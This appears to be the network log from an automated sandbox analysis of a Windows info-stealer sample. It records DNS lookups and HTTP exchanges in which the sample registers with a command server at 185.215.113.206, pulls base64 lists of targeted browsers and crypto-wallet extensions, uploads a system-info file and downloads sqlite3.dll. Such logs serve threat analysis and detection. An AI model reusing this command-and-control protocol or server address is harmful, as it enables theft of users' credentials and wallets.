Nov 18, 2024 13:31:16.725871086 CET	1.1.1.1	192.168.2.8	0x775c	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.725871086 CET	1.1.1.1	192.168.2.8	0x775c	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.725871086 CET	1.1.1.1	192.168.2.8	0x775c	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.725871086 CET	1.1.1.1	192.168.2.8	0x775c	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:28.497258902 CET	1.1.1.1	192.168.2.8	0xcbcd	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:28.497258902 CET	1.1.1.1	192.168.2.8	0xcbcd	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:28.497258902 CET	1.1.1.1	192.168.2.8	0xcbcd	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:28.497534990 CET	1.1.1.1	192.168.2.8	0xd5e5	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:28.497534990 CET	1.1.1.1	192.168.2.8	0xd5e5	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:28.497534990 CET	1.1.1.1	192.168.2.8	0xd5e5	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:28.497534990 CET	1.1.1.1	192.168.2.8	0xd5e5	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:28.497548103 CET	1.1.1.1	192.168.2.8	0x6b8a	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:28.497971058 CET	1.1.1.1	192.168.2.8	0x8931	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:28.497971058 CET	1.1.1.1	192.168.2.8	0x8931	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	185.215.113.206	80	7804	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:29:00.121531963 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 13:29:01.042907953 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 13:29:01.045707941 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIEGCAECGCAEBFHDHIE Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 49 45 47 43 41 45 43 47 43 41 45 42 46 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 37 32 45 45 41 34 41 42 39 44 44 34 33 38 34 30 38 37 32 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 43 41 45 43 47 43 41 45 42 46 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 43 41 45 43 47 43 41 45 42 46 48 44 48 49 45 2d 2d 0d 0a Data Ascii: ------AFIEGCAECGCAEBFHDHIEContent-Disposition: form-data; name="hwid"472EEA4AB9DD438408725------AFIEGCAECGCAEBFHDHIEContent-Disposition: form-data; name="build"mars------AFIEGCAECGCAEBFHDHIE--
Nov 18, 2024 13:29:01.347875118 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6a 4d 7a 4f 44 45 77 4e 6d 4d 31 4d 7a 52 6b 5a 47 45 79 4e 57 4e 6b 59 57 49 34 4f 47 59 77 4e 57 4d 78 4e 7a 49 30 4e 47 51 77 59 54 51 31 4e 6d 59 79 5a 54 56 6c 59 7a 55 78 4f 47 46 6c 59 57 52 69 4f 54 55 31 4e 54 4e 69 4f 44 41 77 4e 7a 64 6b 4e 6a 68 6b 59 54 4e 6c 4f 54 64 68 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NjMzODEwNmM1MzRkZGEyNWNkYWI4OGYwNWMxNzI0NGQwYTQ1NmYyZTVlYzUxOGFlYWRiOTU1NTNiODAwNzdkNjhkYTNlOTdhfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 18, 2024 13:29:01.349349976 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIDHJDGCGDAAKEBGDBKF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 36 63 35 33 34 64 64 61 32 35 63 64 61 62 38 38 66 30 35 63 31 37 32 34 34 64 30 61 34 35 36 66 32 65 35 65 63 35 31 38 61 65 61 64 62 39 35 35 35 33 62 38 30 30 37 37 64 36 38 64 61 33 65 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 2d 2d 0d 0a Data Ascii: ------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="message"browsers------IIDHJDGCGDAAKEBGDBKF--
Nov 18, 2024 13:29:01.636476994 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 18, 2024 13:29:01.636498928 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 18, 2024 13:29:01.637876034 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEGCBAAFHDHDHJKEGCFC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 36 63 35 33 34 64 64 61 32 35 63 64 61 62 38 38 66 30 35 63 31 37 32 34 34 64 30 61 34 35 36 66 32 65 35 65 63 35 31 38 61 65 61 64 62 39 35 35 35 33 62 38 30 30 37 37 64 36 38 64 61 33 65 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 2d 2d 0d 0a Data Ascii: ------IEGCBAAFHDHDHJKEGCFCContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------IEGCBAAFHDHDHJKEGCFCContent-Disposition: form-data; name="message"plugins------IEGCBAAFHDHDHJKEGCFC--
Nov 18, 2024 13:29:01.938672066 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 18, 2024 13:29:01.938699961 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Nov 18, 2024 13:29:01.938711882 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Nov 18, 2024 13:29:01.938738108 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Nov 18, 2024 13:29:01.938750982 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Nov 18, 2024 13:29:01.938837051 CET	1236	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Nov 18, 2024 13:29:01.938851118 CET	1052	IN	Data Raw: 63 47 4e 6e 5a 57 78 76 63 47 64 38 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 Data Ascii: cGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXw
Nov 18, 2024 13:29:01.940903902 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAAFBKECAKEHIEBAFIE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 36 63 35 33 34 64 64 61 32 35 63 64 61 62 38 38 66 30 35 63 31 37 32 34 34 64 30 61 34 35 36 66 32 65 35 65 63 35 31 38 61 65 61 64 62 39 35 35 35 33 62 38 30 30 37 37 64 36 38 64 61 33 65 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 2d 2d 0d 0a Data Ascii: ------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="message"fplugins------DAAAFBKECAKEHIEBAFIE--
Nov 18, 2024 13:29:02.227113962 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 18, 2024 13:29:02.245511055 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECAKECAEGDHIECBGHII Host: 185.215.113.206 Content-Length: 5983 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 13:29:02.245577097 CET	5983	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 Data Ascii: ------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 18, 2024 13:29:03.044954062 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 13:29:03.733678102 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 13:29:04.018399000 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 